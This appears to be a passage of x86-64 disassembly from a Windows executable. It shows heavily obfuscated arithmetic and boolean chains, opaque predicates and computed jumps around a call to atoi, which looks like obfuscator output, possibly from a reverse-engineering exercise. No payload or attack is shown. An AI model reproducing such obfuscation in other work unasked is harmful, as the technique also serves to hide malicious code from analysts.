and al, r14b
or al, r11b
mov r11d, r14d
and r11b, cl
xor cl, r14b
or cl, r11b
xor al, 1
mov r11d, eax
xor r11b, cl
or al, cl
xor al, 1
or al, r11b
mov r11d, r8d
and r11b, bl
mov ecx, r11d
xor cl, 1
xor r11b, bl
or cl, r8b
xor cl, 1
or cl, r11b
xor al, 1
mov edx, eax
xor dl, cl
xor dl, 1
and dl, cl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor r8b, r14b
mov ecx, r9d
xor cl, bl
or bl, r9b
xor bl, 1
or bl, r8b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
mov r8d, r15d
xor r8b, 1
or bl, dl
xor bl, al
mov edx, ebx
xor dl, 1
and bl, al
mov eax, ebx
and al, dl
xor bl, dl
mov ecx, r13d
mov edx, r13d
xor dl, 1
or bl, al
mov eax, edx
and al, r13b
and cl, r8b
and r15b, dl
or r15b, cl
xor r15b, 1
or r15b, r8b
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
xor al, r8b
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
mov ecx, r15d
xor cl, 1
xor dl, 1
or dl, r8b
and cl, dl
xor dl, 1
and dl, r15b
or dl, cl
mov ecx, r15d
and cl, al
xor al, r15b
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov r8d, ebx
xor r8b, 1
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
mov r9d, ecx
xor r9b, 1
or r9b, cl
mov ecx, ebx
or cl, r8b
xor bl, cl
xor al, dl
and al, dl
or cl, r8b
xor cl, 1
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
xor cl, r9b
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r9d, edx
xor r9b, 1
and r9b, bl
xor bl, 1
and bl, dl
or r9b, bl
mov eax, ebp
and al, r10b
xor bpl, r10b
or bpl, al
xor bpl, 1
or r10b, sil
xor r12b, sil
and r12b, sil
xor r12b, 1
mov eax, r10d
xor al, r12b
or r12b, r10b
xor r12b, 1
or r12b, al
xor r12b, bpl
mov eax, r12d
xor al, 1
and bpl, al
mov ebx, ebp
xor bl, 1
xor bpl, r12b
or bl, al
xor bl, 1
or bl, bpl
mov esi, ebx
xor sil, 1
mov r8d, r9d
xor r8b, 1
mov r14d, r8d
or r14b, r9b
xor r14b, 1
mov r10d, r9d
xor r10b, r14b
mov r11d, r10d
xor r11b, 1
mov eax, ebx
and al, sil
xor bl, al
xor al, 1
or al, sil
xor al, 1
or al, bl
mov ebp, eax
xor bpl, 1
and r14b, r11b
mov ecx, r14d
xor r14b, r10b
mov edx, eax
or dl, bpl
xor dl, 1
xor cl, 1
or cl, r11b
xor cl, 1
or cl, r14b
xor sil, dl
mov r10d, esi
xor r10b, 1
and dl, r10b
mov ebx, edx
xor bl, 1
xor dl, sil
or bl, r10b
xor bl, 1
or bl, dl
xor bl, 1
mov edx, ebx
or dl, cl
xor bl, cl
xor bl, 1
and bl, cl
xor bl, 1
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
and r9b, al
and bpl, r8b
or bpl, r9b
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
xor al, 1
mov ecx, ebp
and cl, al
xor al, bpl
or al, cl
xor al, bl
mov ecx, eax
xor cl, 1
and al, bl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
mov ecx, edx
or cl, al
mov r8d, ecx
xor r8b, 1
and r8b, al
mov ebx, edx
and bl, cl
or bl, r8b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, ecx
xor bl, 1
and cl, bl
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, ecx
xor bl, 1
and cl, bl
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, ecx
xor bl, 1
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
and al, dl
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov edx, eax
or dl, cl
xor al, cl
xor al, 1
and al, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
xor al, 1
mov ecx, ebx
or cl, al
xor cl, 1
xor al, bl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
xor dl, cl
and cl, al
and dl, al
xor cl, 1
xor dl, 1
mov eax, ecx
xor al, dl
and dl, cl
or dl, al
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov r10d, edx
xor r10b, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov eax, r10d
and al, dl
mov r9d, r10d
and r9b, al
mov ebx, r10d
xor bl, al
or bl, r9b
mov r9d, ebx
xor r9b, 1
and r9b, cl
and bl, r8b
or bl, r9b
mov r8d, r10d
and r8b, cl
xor cl, r10b
or cl, r8b
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, ecx
xor bl, 1
and cl, bl
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor dl, al
xor dl, 1
or al, r10b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, 1
or cl, al
mov eax, edx
or al, cl
xor al, 1
xor cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
or dl, al
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
mov ebp, edi
xor bpl, 1
mov esi, ebp
and sil, dil
mov ecx, esi
xor cl, 1
mov r8d, edi
xor r8b, cl
or cl, dil
xor cl, 1
or cl, r8b
mov r11d, edx
and r11b, r9b
mov r10d, r11d
xor r10b, 1
mov r8d, r9d
xor r8b, r10b
or r10b, r9b
xor r10b, 1
or r10b, r8b
mov eax, ecx
xor al, 1
and al, r10b
xor r10b, 1
mov ebx, ecx
xor bl, r10b
and bl, cl
and r10b, cl
or r10b, al
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov r8d, r10d
xor r8b, 1
mov eax, ebp
and al, sil
xor sil, bpl
or sil, al
or bpl, dil
mov eax, ebp
mov ecx, esi
xor cl, bpl
and cl, sil
and bpl, sil
xor sil, 1
xor al, 1
and al, sil
mov ebx, edx
and bl, r11b
xor r11b, dl
or r11b, bl
or r9b, dl
mov edx, r9d
xor dl, 1
or bpl, al
mov eax, ecx
and al, bpl
xor bpl, cl
or bpl, al
mov ecx, edx
and cl, r9b
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov eax, ecx
xor cl, 1
and cl, r11b
or dl, r11b
xor r11b, 1
and al, r11b
or cl, al
xor r11b, r9b
xor dl, 1
or dl, r11b
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ebp
xor al, 1
and al, cl
xor cl, 1
and cl, bpl
or cl, al
mov r9d, ecx
xor r9b, 1
mov r11d, r9d
and r11b, cl
xor r11b, 1
mov eax, ecx
xor al, r11b
or r11b, cl
xor r11b, 1
or r11b, al
mov edi, r10d
or dil, r8b
mov ebx, edi
xor bl, 1
mov eax, edi
and al, bl
mov esi, edi
xor sil, al
xor al, 1
or al, bl
mov ebx, r10d
and bl, r8b
xor al, 1
or al, sil
mov esi, r10d
and sil, bl
xor bl, r10b
or bl, sil
mov edx, eax
xor dl, 1
and dl, bl
xor bl, 1
and bl, al
or bl, dl
mov eax, edi
and al, r10b
xor dil, r10b
or dil, al
mov eax, edi
xor al, bl
xor bl, 1
or bl, dil
xor al, 1
xor bl, 1
or bl, al
or cl, r9b
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
xor bl, 1
mov eax, ebx
xor al, cl
xor al, 1
and al, cl
or bl, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
xor al, 1
or al, cl
mov ecx, r11d
xor cl, 1
and r11b, r8b
mov edx, r10d
xor dl, cl
and dl, r10b
and cl, r10b
or cl, r11b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and cl, al
and bl, dl
or bl, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xb18dba62
mov ecx, 0xfb08f878
cmovne eax, ecx
test dl, 1
mov ecx, 0xb18dba62
cmovne ecx, eax
test bl, 1
cmove ecx, eax
jmp 0x140053140
mov rax, qword [rsp + 0x48]
mov rcx, qword [rax + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, dword [0x1400986ac]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ecx, edx
mov r11d, edx
or ecx, 0x1e1fe3d9
mov ebp, ecx
not ebp
mov ebx, edi
mov r10d, edi
or ebx, 0xe1e01c26
mov edx, ebx
not edx
and ecx, 0xda79d403
and ebp, 0x21800824
or ebp, ecx
and ebx, 0xda79d403
and edx, 0x40623d8
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0x1e1fe3d9
and edx, 0xe1e01c26
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6b1d4501
and edx, 0x94e2bafe
or edx, ecx
mov esi, edx
xor esi, 0x6b1d4501
and esi, edx
mov edx, edi
and edx, 0x33f6fb71
mov ebp, r11d
and ebp, 0xcc09048e
or ebp, edx
mov edx, ebp
xor edx, 0x8400008e
and edx, 0x94e2bafe
xor ebp, 0x58ebbe70
or ebp, edx
mov edx, ebp
not edx
and edx, 0x8c325c01
and ebp, 0x73cda3fe
or ebp, edx
mov ebx, ebp
xor ebx, 0x338d01fe
xor ebp, 0x8c325c01
mov ecx, esi
not ecx
mov edx, ecx
or edx, ebp
mov edi, edx
not edi
and ecx, 0x4470e601
and esi, 0xbb8f19fe
or esi, ecx
and ebp, 0x4470e601
and ebx, 0xbb8f19fe
or ebx, ebp
xor ebx, esi
mov ecx, ebx
not ecx
mov ebp, edx
and ebp, 0xc50a3921
and edi, 0x3af5c6de
or edi, ebp
or edx, ecx
and ecx, 0xc50a3921
and ebx, 0x3af5c6de
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
mov ecx, edx
xor ecx, 0xc449d2ac
and ecx, edx
not edx
and edx, 0xc449d2ac
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xd3fe28b4
and ecx, 0x2c01d74b
or ecx, edx
mov edx, ecx
xor edx, 0x24009711
xor ecx, 0x1004024
and edx, 0xa65597d3
and ecx, 0x59aa682c
or ecx, edx
mov esi, ecx
xor esi, 0xa65597d3
xor ecx, 0x10802004
and ecx, 0x96c132d7
mov edx, esi
and edx, 0x693ecd28
or edx, ecx
mov ecx, edx
xor ecx, 0x693ecd28
xor edx, 0x97df735c
and edx, ecx
and esi, 0xfee1be74
mov ecx, edx
and ecx, esi
xor esi, edx
or esi, ecx
mov ecx, esi
and ecx, 0x11e418a
not esi
and esi, 0xfee1be75
or esi, ecx
mov ecx, esi
not ecx
and ecx, 1
xor esi, 0xfffffffe
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0x7d03f7e1
and esi, 0x82fc081e
or esi, ecx
mov r15d, esi
xor r15d, 0x82fc081e
mov r8d, esi
xor r8d, 0x380066a0
mov edi, r10d
mov dword [rsp + 0x30], r10d
mov edx, r10d
and edx, 0x92ac2cdd
mov dword [rsp + 0x24], r11d
mov ecx, r11d
and ecx, 0x6d53d322
or ecx, edx
mov edx, ecx
xor edx, 0x45431002
xor ecx, 0x92ac2cdd
and edi, r11d
mov ebp, edi
not ebp
mov ebx, ecx
and ebx, 0x2a30efe1
and edx, 0xd5cf101e
or edx, ebx
or ecx, ebp
and ebp, 0x2a30efe1
and edi, 0xd5cf101e
or edi, ebp
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x9183ad2b
mov edi, ecx
and edi, 0x6e7c52d4
or edi, edx
mov edx, edi
xor edx, 0x6e7c52d4
mov ebp, edi
xor ebp, 0x6c52c24f
and ebp, edx
and ecx, 0x22e909b
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x22e909a
and ecx, 0xfdd16f65
or ecx, ebp
xor edi, 0x91800d0a
and edi, 0x91f45d8e
mov ebp, edx
and ebp, 0x6e0ba271
or ebp, edi
xor ebp, 0x91f45d8f
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x40ffbf9f
and edx, 0xbf004060
or edx, ebp
mov ebp, edx
xor ebp, 0x8d004020
mov edi, ecx
not edi
xor edx, 0x40ffbf9f
mov ebx, edi
and ebx, 0x32033149
and ecx, 0xcdfcceb6
or ecx, ebx
or edi, edx
and edx, 0x32033149
and ebp, 0xcdfcceb6
or ebp, edx
xor ebp, ecx
not edi
or edi, ebp
mov ecx, edi
not ecx
mov edx, ecx
or edx, 0xa9ccbb41
mov r10d, edx
not r10d
or edi, 0x14120494
and edi, 0xb4928cd5
and ecx, 0x94c3300
or ecx, edi
and edx, 0xb4928cd5
and r10d, 0x4221402a
or r10d, edx
xor r10d, ecx
mov ecx, r10d
not ecx
and ecx, 0x521df959
and r10d, 0xade206a6
or r10d, ecx
mov ecx, r10d
xor ecx, 0x22543
xor r10d, 0xf0004000
and ecx, 0xbd3275b
and r10d, 0xf42cd8a4
or r10d, ecx
mov edi, r10d
xor edi, 0xbd3275b
xor r10d, 0xf42cd8a4
mov ecx, esi
xor ecx, 0x524b4643
and ecx, r15d
or r15d, 0x2f48b1a2
mov edx, r15d
not edx
mov ebp, ecx
not ebp
mov ebx, r15d
and ebx, 0xced188c6
and edx, 0x10264619
or edx, ebx
or r15d, ebp
and ebp, 0xced188c6
and ecx, 0x312e7739
or ecx, ebp
xor ecx, edx
not r15d
or r15d, ecx
mov ecx, r15d
not ecx
and ecx, 0x98abaccb
and r15d, 0x67545334
or r15d, ecx
mov r11d, r15d
xor r11d, 0xb7e31d69
mov edx, edi
and edx, r10d
mov ecx, edi
and ecx, edx
xor edx, edi
or edx, ecx
mov ebx, edx
mov r12d, r15d
xor r12d, 0x481ce296
mov dword [rsp + 0x2c], r12d
mov ecx, r11d
and ecx, 0x9d8e88ae
mov ebp, r12d
and ebp, 0x62717751
or ebp, ecx
xor ebp, 0x580d11fd
and r12d, 0xc5839953
or r12d, ebp
mov ecx, r12d
not ecx
and ecx, 0x1ec7df49
and r12d, 0xe13820b6
or r12d, ecx
mov r9d, r12d
xor r9d, 0xe13820b6
and r8d, 0x3a7c66ac
xor esi, 0x477f914d
or esi, r8d
mov ecx, esi
not ecx
and ecx, 0x7ee9b271
and esi, 0x81164d8e
or esi, ecx
mov r13d, edx
mov dword [rsp + 0x34], edx
mov ebp, edx
not ebp
mov dword [rsp + 0x3c], ebp
and ebp, 0xc5839953
and r13d, 0x3a7c66ac
or r13d, ebp
mov ebp, esi
xor ebp, 0x81164d8e
and edi, 0x32395025
and r10d, 0xcdc6afda
or r10d, edi
mov ecx, r10d
xor ecx, 0x8442688
and ecx, 0x3a7c66ac
xor r10d, 0xf7bac976
or r10d, ecx
mov ecx, r12d
xor ecx, 0x1ec7c908
and ecx, 0xdee7e92a
xor r12d, 0x458010ff
and r12d, r9d
and r9d, 0x211816d5
or r9d, ecx
mov ecx, esi
xor ecx, 0x5cc08060
and ecx, 0xddd4c46c
xor esi, 0x25ae7dc7
and esi, ebp
and ebp, 0x222b3b93
or ebp, ecx
mov r14d, r9d
xor r9d, 0xdee7e92a
mov edi, r9d
or edi, 0x5b47cfb6
mov ecx, edi
not ecx
mov ebx, edi
and ebx, 0xd864d96a
and ecx, 0x24982001
or ecx, ebx
mov edx, r12d
not edx
or edi, edx
and edx, 0xd864d96a
and r12d, 0x279b2695
or r12d, edx
xor r12d, ecx
not edi
or edi, r12d
mov r8d, ebp
xor ebp, 0xddd4c46c
mov edx, ebp
or edx, 0x5b47cfb6
mov ecx, edx
not ecx
mov ebx, edx
and ebx, 0x4f50eb35
and ecx, 0xa0a81048
or ecx, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0x4f50eb35
and esi, 0xb0af14ca
or esi, ebx
xor esi, ecx
not edx
or edx, esi
mov ecx, edi
not ecx
and ecx, 0x7a76ffb
and edi, 0xf8589004
or edi, ecx
mov ecx, edx
not ecx
and ecx, 0x7a76ffb
and edx, 0xf8589004
or edx, ecx
xor edx, edi
xor r14d, 0x211012d1
mov ecx, r9d
and ecx, 0x86e8e52e
and r14d, 0x79171ad1
or r14d, ecx
not r13d
mov r12d, dword [rsp + 0x3c]
or r13d, r12d
xor r8d, 0x20031a91
or r9d, ebp
and ebp, 0x86e8e52e
and r8d, 0x79171ad1
or r8d, ebp
mov ebx, r13d
not ebx
xor r8d, r14d
not r9d
or r9d, r8d
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x5ed54aa2
and edx, 0xa12ab55d
or edx, ecx
mov ecx, r9d
not ecx
or esi, r9d
and r9d, 0x5ed54aa2
and ecx, 0xa12ab55d
or ecx, r9d
mov r8d, r10d
not r8d
xor ecx, edx
not esi
or esi, ecx
and r13d, 0xf4c17bcf
mov ebp, ebx
and ebp, 0xb3e8430
or ebp, r13d
mov ecx, r10d
and ecx, 0x88907515
mov edi, r8d
and edi, 0x776f8aea
or edi, ecx
mov r9d, ebp
xor r9d, 0xb3e8430
mov edx, ebp
xor edx, 0x7c510eda
and edx, r9d
and ebx, 0x776f8aea
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xd2286e31
and ebx, 0x2dd791ce
or ebx, ecx
mov ecx, edi
not ecx
and ecx, 0xd2286e31
and edi, 0x2dd791ce
or edi, ecx
xor edi, ebx
xor ebp, 0xf4c17bcf
mov ecx, ebp
and ecx, 0x2b796746
and r9d, 0xd48698b9
or r9d, ecx
or ebp, r8d
and r8d, 0x2b796746
and r10d, 0xd48698b9
or r10d, r8d
xor r10d, r9d
not ebp
or ebp, r10d
not ebp
mov ecx, edi
and ecx, ebp
xor ebp, edi
or ebp, ecx
not esi
mov ecx, esi
xor ecx, ebp
not ecx
and ecx, ebp
or esi, ebp
mov edx, esi
not edx
mov r8d, ecx
not r8d
mov ebp, r8d
and ebp, 0xac5c8bb9
and ecx, 0x53a37446
or ecx, ebp
or r8d, esi
and esi, 0xac5c8bb9
and edx, 0x53a37446
or edx, esi
xor edx, ecx
not r8d
or r8d, edx
xor r15d, 0xcc15baa
mov edi, r15d
mov ebx, dword [rsp + 0x2c]
and edi, ebx
and r15d, r11d
mov r9d, dword [rsp + 0x34]
mov ecx, r9d
xor ecx, 0xbb2246c3
mov ebp, ecx
mov esi, r12d
and ebp, r12d
and ecx, r9d
mov edx, edi
and edx, r15d
xor r15d, edi
or r15d, edx
mov edx, ebp
not edx
mov edi, edx
and edi, 0xdf7b3dc9
and ebp, 0x2084c236
or ebp, edi
mov edi, ecx
not edi
or edx, edi
and edi, 0xdf7b3dc9
and ecx, 0x2084c236
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, r15d
not ecx
and ecx, 0x26cdac04
and r15d, 0xd93253fb
or r15d, ecx
mov ecx, edx
not ecx
and ecx, 0x26cdac04
and edx, 0xd93253fb
or edx, ecx
xor edx, r15d
mov ecx, r11d
and ecx, 0xc8bfe565
mov ebp, ebx
and ebp, 0x37401a9a
or ebp, ecx
mov ecx, r9d
or r11d, r9d
and ecx, 0xc8bfe565
mov ebx, r12d
and ebx, 0x37401a9a
or ebx, ecx
xor ebx, ebp
not r11d
or r11d, ebx
not r11d
mov ecx, edx
and ecx, r11d
xor r11d, edx
or r11d, ecx
mov edx, r11d
xor edx, 0x6dd734c5
and edx, r11d
not r11d
and r11d, 0x6dd734c5
mov ecx, r11d
and ecx, edx
xor edx, r11d
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9228cb3a
and edx, 0x6dd734c5
or edx, ecx
mov ecx, r8d
not ecx
mov ebp, ecx
and ebp, 0xa7b4b61
and r8d, 0xf584b49e
or r8d, ebp
mov r9d, r8d
xor r9d, 0xf584b49e
mov r10d, edx
not r10d
xor r8d, 0x20201
or r8d, 0xfefd6d64
mov ebx, r8d
not ebx
or ecx, 0x102929b
mov edi, ecx
not edi
xor edx, 0x102929b
and edx, r10d
and r8d, 0x772c3be4
and ebx, 0x2801b
or ebx, r8d
mov ebp, r10d
or ebp, 0x102929b
and ecx, 0x772c3be4
and edi, 0x88d14400
or edi, ecx
xor edi, ebx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x865d9384
and edx, 0x79a26c7b
or edx, ebx
mov esi, ebp
not esi
or ecx, ebp
and ebp, 0x865d9384
and esi, 0x78a06c60
or esi, ebp
xor esi, edx
not ecx
or ecx, esi
mov edx, edi
not edx
and edx, 0xd92c9afc
and edi, 0x26d36503
or edi, edx
mov edx, ecx
not edx
and edx, 0xd92c9afc
and ecx, 0x26d36503
or ecx, edx
xor ecx, edi
mov edx, r9d
and edx, r10d
xor r10d, r9d
or r10d, edx
mov edx, r10d
not edx
mov r11d, ecx
not r11d
mov esi, r11d
and esi, 0xe69bb279
and ecx, 0x19644d86
or ecx, esi
or r11d, r10d
and r10d, 0xe69bb279
and edx, 0x19644d86
or edx, r10d
xor edx, ecx
not r11d
or r11d, edx
mov ebp, dword [rsp + 0x30]
mov edx, ebp
and edx, 0xb12a800
mov r8d, dword [rsp + 0x24]
mov ecx, r8d
and ecx, 0x94494003
or ecx, edx
mov edx, ecx
xor edx, 0x10494002
xor ecx, 0x6bb6bffc
mov ebx, r8d
xor ebx, 0x9f5be803
and ebx, r8d
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xef2008d9
and edx, 0x105be002
or edx, esi
or ecx, edi
and edi, 0xef2008d9
and ebx, 0x10dff726
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x60a417fc
and ecx, 0x9f5be803
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa15977bf
and ecx, 0x5ea68840
or ecx, edx
mov edx, ecx
xor edx, 0xa15977bf
and edx, ecx
mov ecx, ebp
and ebp, 0x7c03f466
mov ebx, r8d
and ebx, 0x83fc0b99
or ebx, ebp
xor ebx, 0x22a57c26
xor ecx, ebx
and ecx, ebx
mov ebp, ecx
mov ebx, ecx
not ebp
mov esi, edx
xor esi, ebp
and esi, edx
mov edi, edx
not edi
and edi, 0x10deacbb
and edx, 0xef215344
or edx, edi
and ebp, 0x10deacbb
and ebx, 0xef215344
or ebx, ebp
xor ebx, edx
mov ecx, esi
not ecx
mov edx, ebx
not edx
mov edi, ecx
and edi, 0x632e7e59
and esi, 0x9cd181a6
or esi, edi
or ecx, edx
and edx, 0x632e7e59
and ebx, 0x9cd181a6
or ebx, edx
xor ebx, esi
not ecx
or ecx, ebx
mov edx, ecx
mov r14d, ecx
xor r14d, 0xa15977bf
and r14d, ecx
not ecx
and ecx, 0x102b4
and edx, 0xa158750b
or edx, ecx
xor edx, 0xa158750b
mov ecx, edx
and ecx, r14d
xor r14d, edx
or r14d, ecx
mov ecx, r11d
not ecx
mov r10d, r11d
xor r10d, 0x83bc50
and r10d, r11d
mov r8d, ecx
mov r15d, r11d
and r11d, ecx
mov r9d, ecx
and r9d, r11d
xor r11d, ecx
and ecx, 0x83bc50
mov edi, ecx
and edi, r10d
xor r10d, ecx
or r10d, edi
mov ecx, r10d
not ecx
and ecx, 0xff7c43af
and r10d, 0x83bc50
or r10d, ecx
mov ecx, r14d
not ecx
mov edi, ecx
and edi, 0x88b854e0
mov esi, r14d
and esi, 0x7747ab1f
or esi, edi
mov edx, r10d
not edx
and r10d, 0x88b854e0
and edx, 0x7747ab1f
or edx, r10d
xor edx, esi
mov ebp, edx
xor ebp, ecx
and ebp, edx
mov edx, ecx
and edx, 0xc949bd2c
and ecx, r14d
and r14d, 0x36b642d3
or r14d, edx
xor r14d, 0x36b642d3
mov edx, r14d
and edx, ecx
xor r14d, ecx
or r14d, edx
and r8d, 0xe99e12da
and r15d, 0x1661ed25
or r15d, r8d
mov ecx, r15d
xor ecx, 0x16216121
mov edx, r14d
not edx
and edx, 0x6899d464
and r14d, 0x97662b9b
or r14d, edx
mov edx, r14d
xor edx, 0x16222101
xor r15d, 0xe99e12da
xor r14d, 0x6899d464
mov esi, r15d
and esi, 0x894c9ede
and ecx, 0x76b36121
or ecx, esi
or r15d, r14d
and r14d, 0x894c9ede
and edx, 0x76b36121
or edx, r14d
xor edx, ecx
not r15d
or r15d, edx
mov ecx, r15d
not ecx
and ecx, 0xec5f4db0
and r15d, 0x13a0b24f
or r15d, ecx
mov edx, r15d
xor edx, 0x13a0b24f
mov edi, ebp
xor edi, 0x50a540c9
and edi, ebp
not ebp
mov ecx, r15d
xor ecx, 0xec5f4db0
xor r15d, 0x4305f286
mov esi, r15d
and esi, ecx
mov r8d, ebp
and r8d, ecx
xor ecx, ebp
and ebp, 0x50a540c9
and r15d, edx
mov edx, ebp
and edx, edi
xor edi, ebp
or edi, edx
mov ebx, esi
not ebx
mov edx, ebx
and edx, 0x8bad9ccd
and esi, 0x74526332
or esi, edx
mov edx, r15d
not edx
or ebx, edx
and edx, 0x8bad9ccd
and r15d, 0x74526332
or r15d, edx
xor r15d, esi
not ebx
or ebx, r15d
mov edx, edi
not edx
and edx, 0xc3d33910
and edi, 0x3c2cc6ef
or edi, edx
mov edx, ebx
not edx
and edx, 0xc3d33910
and ebx, 0x3c2cc6ef
or ebx, edx
mov edx, dword [0x1400986a8]
xor ebx, edi
or ecx, r8d
not ecx
mov ebp, ebx
and ebp, ecx
xor ecx, ebx
or ecx, ebp
or r11d, r9d
mov ebp, ecx
not ebp
not r11d
mov ebx, r11d
or ebx, ecx
mov edi, ebx
not edi
xor r11d, ecx
not r11d
and r11d, ecx
mov esi, ebx
and esi, 0xd7bce374
and edi, 0x28431c8b
or edi, esi
mov esi, r11d
not esi
or ebx, esi
and esi, 0xd7bce374
and r11d, 0x28431c8b
or r11d, esi
xor r11d, edi
not ebx
or ebx, r11d
mov edi, ebx
not edi
mov esi, edi
and esi, 0x4c0bde7a
and ebx, 0xb3f42185
or ebx, esi
and ecx, 0x4c0bde7a
and ebp, 0xb3f42185
or ebp, ecx
xor ebp, ebx
xor edi, ebp
test edi, ebp
setne r10b
sete r9b
cmp edx, 9
setg r8b
cmp edx, 0xa
setl dil
mov ebx, edi
and bl, r9b
mov ecx, r10d
and cl, r8b
or cl, bl
mov ebx, ecx
xor bl, r8b
and bl, cl
mov edx, ecx
xor dl, 1
or dl, r9b
mov r11d, edx
xor r11b, 1
mov ecx, ebx
not cl
mov esi, edx
and sil, r11b
and cl, bl
mov ebp, edx
and bpl, sil
xor sil, dl
or sil, bpl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, esi
xor dl, 1
and dl, cl
xor cl, 1
and cl, sil
or cl, dl
mov edx, r11d
xor dl, bl
or bl, r11b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, edi
xor dl, cl
and cl, dl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
mov r11d, ecx
and r11b, dl
xor cl, r11b
xor r11b, 1
or r11b, dl
xor r11b, 1
or r11b, cl
mov esi, r11d
xor sil, 1
xor r10b, dil
xor dil, r9b
and dil, r9b
or r9b, r8b
xor dil, 1
mov ecx, edi
xor cl, r9b
or dil, r9b
xor r9b, 1
mov edx, r9d
and dl, r10b
xor r10b, r9b
or r10b, dl
mov edx, r10d
not dl
and dl, r10b
xor dl, 1
mov ebx, r10d
xor bl, dl
or dl, r10b
xor dl, 1
or dl, bl
xor dil, 1
or dil, cl
xor dil, 1
mov ecx, edi
and cl, r8b
xor dil, r8b
